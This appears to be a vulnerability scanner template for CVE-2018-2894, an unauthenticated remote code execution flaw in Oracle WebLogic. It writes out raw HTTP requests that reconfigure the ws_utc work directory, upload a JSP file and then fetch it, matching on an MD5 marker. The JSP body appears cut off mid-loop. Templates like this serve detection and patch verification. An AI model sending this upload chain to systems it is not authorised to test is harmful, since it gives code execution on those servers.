id: CVE-2018-2894 info: name: Oracle WebLogic RCE author: geeknik,pdteam severity: critical description: Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. reference: - https://blog.detectify.com/2018/11/14/technical-explanation-of-cve-2018-2894-oracle-weblogic-rce/ - https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2018-2894 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2018-2894 tags: cve,cve2018,oracle,weblogic,rce requests: - raw: - | POST /ws_utc/resources/setting/options HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded setting_id=general&BasicConfigOptions.workDir=%2Fu01%2Foracle%2Fuser_projects%2Fdomains%2Fbase_domain%2Fservers%2FAdminServer%2Ftmp%2F_WL_internal%2Fcom.oracle.webservices.wls.ws-testclient-app-wls%2F4mcj4y%2Fwar%2Fcss&BasicConfigOptions.proxyHost=&BasicConfigOptions.proxyPort=80 - | POST /ws_utc/resources/setting/keystore HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuim0dyiDSPBPu31g ------WebKitFormBoundaryuim0dyiDSPBPu31g Content-Disposition: form-data; name="ks_name" {{randstr}} ------WebKitFormBoundaryuim0dyiDSPBPu31g Content-Disposition: form-data; name="ks_edit_mode" false ------WebKitFormBoundaryuim0dyiDSPBPu31g Content-Disposition: form-data; name="ks_password_front" ------WebKitFormBoundaryuim0dyiDSPBPu31g Content-Disposition: form-data; name="ks_password" ------WebKitFormBoundaryuim0dyiDSPBPu31g Content-Disposition: form-data; name="ks_password_changed" false ------WebKitFormBoundaryuim0dyiDSPBPu31g Content-Disposition: form-data; name="ks_filename"; filename="{{randstr}}.jsp" Content-Type: application/octet-stream <%@ page import="java.util.*,java.io.*"%> <%@ page import="java.security.MessageDigest"%> <% String cve = "CVE-2018-2894"; MessageDigest alg = MessageDigest.getInstance("MD5"); alg.reset(); alg.update(cve.getBytes()); byte[] digest = alg.digest(); StringBuffer hashedpasswd = new StringBuffer(); String hx; for (int i=0;i ------WebKitFormBoundaryuim0dyiDSPBPu31g-- - | GET /ws_utc/css/config/keystore/{{id}}_{{randstr}}.jsp HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: id internal: true group: 1 regex: - '([0-9]+){{randstr}}' matchers: - type: word words: - "26ec00a3a03f6bfc5226fd121567bb58" # MD5 (CVE-2018-2894)